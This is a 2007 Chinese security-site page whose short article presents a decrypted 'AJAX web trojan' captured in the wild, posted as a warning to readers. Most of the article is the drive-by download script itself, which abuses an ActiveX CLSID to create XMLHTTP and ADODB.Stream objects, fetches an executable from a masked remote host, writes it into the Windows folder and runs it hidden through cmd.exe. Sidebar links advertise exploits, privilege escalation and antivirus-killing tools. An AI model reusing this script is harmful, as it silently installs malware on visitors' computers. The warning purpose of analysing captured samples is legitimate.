精典的ASP 传奇的J2EE 新生的NET FTP服务器服务器安全 WINDOWS B/S 模式 WEB安全 WAP世界动态网站推广宣传
空间服务器数据库技术邮局服务器站長工具硬设与组建 Alexa专题 DHTML 项目管理 WEB标准电脑硬件
病毒知识电脑使用布线协议接入交换路由局域网无线网络网络规划
Visual Basic Visual C/C++ Mssql MySql oracle Sybase 存在安全风险进程系统进程列表应用程序进程列表其它进程列表
黑客编程漏洞分析本地提权免杀技术脚本漏洞数据库注入安全防护内网渗透加密解密工具使用
WAP技术 WAP入门

您的位置： >> 相关知识 >> 病毒木马 >> 病毒知识 >>

抓了一个AJAX的网马

合金网络科技

添加日期:2007-11-28 点击次数:22次

function Ks(vpn)
{
var Num = Math.random()*vpn; return '~Temp'+Math.round(Num)+'.tmp'; }
try
{ xz='http://xxxxx/muma.exe';
dfkhgfldc='NotKill';
var Mvs=document.createElement('object');
dfkhgfldc='NotKill';
Mvs.setAttribute('clsid:BD96C556-65A3-11D0-983A-00C04FC29E36');
var bx=Mvs.CreateObject('Microsoft.XMLHTTP','');
dfkhgfldc='NotKill'; var XmOK=Mvs.CreateObject('Adodb.Stream','');
dfkhgfldc='NotKill'; XmOK.type=1; bx.open('GET', xz,0); bx.send();
dfkhgfldc='NotKill'; NmAmeA=Ks(1111); dfkhgfldc='NotKill';
var vF=Mvs.CreateObject('Scripting.FileSystemObject','');
var OsTmp=vF.GetSpecialFolder(0);
dfkhgfldc='NotKill';
NmAmeA= vF.BuildPath(OsTmp,NmAmeA);
dfkhgfldc='NotKill';
XmOK.Open();XmOK.Write(bx.responseBody);
XmOK.SaveToFile(NmAmeA,2);
dfkhgfldc='NotKill';
dfkhgfldc='NotKill';
XmOK.Close();
dfkhgfldc='NotKill';
var yq=Mvs.CreateObject('Shell.Application','');
File6=vF.BuildPath(OsTmp+'\\system32','cmd.exe'); asdgdfcxvvcxgfdpo='';
yq.shellExecute(File6,'/c'+NmAmeA,'','open',0); } catch(vi) { vi=1; dfkhgfldc='NotKill'; }

我很久以前在博客上贴过一篇AJAX挂马的文章，不过很少人注意，这个网马就是活生生的AJAX马了，原本是加了密的，我解密出来放在这给大家上网提个醒，上网小心点啊……呵呵!

◆精典的ASP精选TOP

· 利用ADODB.Stream 防盗链

· Adodb.Stream说明手册

· 采集需要登录

· ASP 判断远程图片是否存在

· 在ServerXMLHTTP组件中使用代理服务器

· 用XMLHTTP通过代理服务器从服务提取数据的一些问题

· objXML.readystate的值

· 互联网HTTP连接等出错代码大全

· 利用XMLHTTP实现的二级连动Select

· 利用 xmlhttp 分块上传文件

◆服务器安全点击TOP

· 新云最新漏洞总结篇

· 各类网站的默认数据库和密码

· Windows Server2003 防木马权限设置IIS服务器安全配置整理

· 针对ASP网站的Win 2003硬盘安全设置

· IIS 6 的PHP 最佳配置方法

· 利用SA.exe 将Iusr_victim克隆为Administrator

· Cmd模式下的入侵技术大全

· 破解网页代码加密

· SERV-U 6.4提权方法,通杀SERV-U版本

· 新云网站管理系统文件注入漏洞

◆硬设与组建点击TOP

· 从头到尾教你组建小型局域网20

· 从头到尾教你组建小型局域网19

· 从头到尾教你组建小型局域网18

· 从头到尾教你组建小型局域网17

· 从头到尾教你组建小型局域网16

· 从头到尾教你组建小型局域网15

· 从头到尾教你组建小型局域网14

· 从头到尾教你组建小型局域网13

· 从头到尾教你组建小型局域网12

· 从头到尾教你组建小型局域网11

◆病毒知识点击TOP

· 不再重装手动清除顽固病毒AutoRUN

· 木马静态变动态 DLL木马程序大揭秘

· 详解一个很牛X的网马

· 一个网马

· Trojan-Downloader.Win32.Delf.bab

· 抓了一个AJAX的网马

· 迅雷5 最新0day利用程序

· 自动关掉270种杀毒软件

· RealPlayer 最新网马

· 五个反弹型后门的源代码

◆WINDOWS点击TOP

· 4【系统知识】常见文件扩展名及简要说明!!! ==超详尽==

· 3【系统知识】常见文件扩展名及简要说明!!! ==超详尽==

· 2【系统知识】常见文件扩展名及简要说明!!! ==超详尽==

· 1【系统知识】常见文件扩展名及简要说明!!! ==超详尽==

· Capture an HTML document as an image

· 如何给eWebEditor编辑器加上运行代码框功能

· 给CuteEditor5增加了高亮代码显示功能

· CuteEditor6.0使用配置心得体会

· 关于IE插件的CLSID问题

· 对开发的程序（制作CAB）进行签名，并允许网站中使用

"凌风微型文章系统",针对"搜索引擎"完美设计,提高"搜索引擎"对网站容量,质量的评估值,"扁平化,转静态 ..."